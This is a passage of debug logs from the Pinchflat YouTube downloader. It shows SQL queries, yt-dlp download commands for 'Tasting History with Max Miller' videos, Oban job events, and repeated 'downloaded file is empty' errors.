m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:05:17.021 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 03:05:17.022 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 03:05:17.022 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:05:17.023 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:17.023 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:17.023 [debug] Running yt-dlp command for action: get_downloadable_status 03:05:17.024 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:17.024 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:17.024 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:17.024 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0a/46/0a46c7e53f55881f2a3dec1305433188c8f170e398ef98027d94ff2ce9ed3183.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:05:17.681 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:21.517 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0a/46/0a46c7e53f55881f2a3dec1305433188c8f170e398ef98027d94ff2ce9ed3183.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:05:21.517 [debug] Running yt-dlp command for action: download 03:05:21.517 [debug] QUERY OK source="settings" db=0.1ms idle=1126.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:21.518 [debug] QUERY OK source="settings" db=0.1ms idle=1126.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:21.518 [debug] QUERY OK source="settings" db=0.1ms idle=1126.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:21.518 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/57/63/5763aff3b613dca508ae0b83ded01870ab88061c05ed9440067b4551eb6c94f7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:05:47.683 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.012 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:06:17.684 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:47.685 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.013 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:07:17.686 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:47.688 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.014 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:08:17.689 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:47.690 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.015 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:09:17.691 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:43.482 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b2/fe/b2fe4b68c88d3e88b53e2558e1f14e5f942c6ec537b7e02ac493d1eb09cbe5c5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:09:43.483 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 03:09:43.483 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":285954968,"event":"job:exception","queue_time":287856652,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:09:43.490 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774940983490303462,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:09:43.490 [debug] QUERY OK source="media_items" db=0.1ms idle=98.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 03:09:43.490 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:09:43.491 [debug] QUERY OK source="sources" db=0.1ms idle=99.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:09:43.491 [debug] QUERY OK source="media_profiles" db=0.1ms idle=60.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:09:43.492 [debug] QUERY OK source="media_items" db=0.3ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 03:09:43.492 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 03:09:43.492 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:09:43.493 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:09:43.493 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:09:43.493 [debug] Running yt-dlp command for action: get_downloadable_status 03:09:43.494 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:09:43.494 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:09:43.494 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:09:43.494 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/94/2f/942f4440e7954fd240b1e50d59692e3b00464e9a8cdefce9825004199cd5b328.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:09:47.243 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/94/2f/942f4440e7954fd240b1e50d59692e3b00464e9a8cdefce9825004199cd5b328.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:09:47.243 [debug] Running yt-dlp command for action: download 03:09:47.243 [debug] QUERY OK source="settings" db=0.1ms idle=1851.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:09:47.243 [debug] QUERY OK source="settings" db=0.1ms idle=1852.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:09:47.244 [debug] QUERY OK source="settings" db=0.0ms idle=1852.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:09:47.244 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/e4/21/e421d4873d72fbea7edf0be1e6d17a48fb13562c4009a4a37ab5909d6856aee5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:09:47.692 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.016 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:10:17.693 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:47.694 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.017 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:11:17.695 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:47.696 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.018 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:12:17.697 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:47.698 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.019 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:13:17.700 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:47.702 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.020 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:14:17.703 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:47.704 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:49.910 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/e4/21/e421d4873d72fbea7edf0be1e6d17a48fb13562c4009a4a37ab5909d6856aee5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:14:49.910 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 03:14:49.910 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":306419955,"event":"job:exception","queue_time":247476208,"attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:14:49.917 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774941289917280630,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:14:49.917 [debug] QUERY OK source="media_items" db=0.2ms idle=525.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 03:14:49.917 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:14:49.918 [debug] QUERY OK source="sources" db=0.1ms idle=526.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:14:49.918 [debug] QUERY OK source="media_profiles" db=0.1ms idle=24.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:14:49.919 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 03:14:49.919 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 03:14:49.919 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:14:49.920 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:14:49.920 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:14:49.920 [debug] Running yt-dlp command for action: get_downloadable_status 03:14:49.920 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:14:49.921 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:14:49.921 [debug] QUERY OK source="settings" db=0.0ms 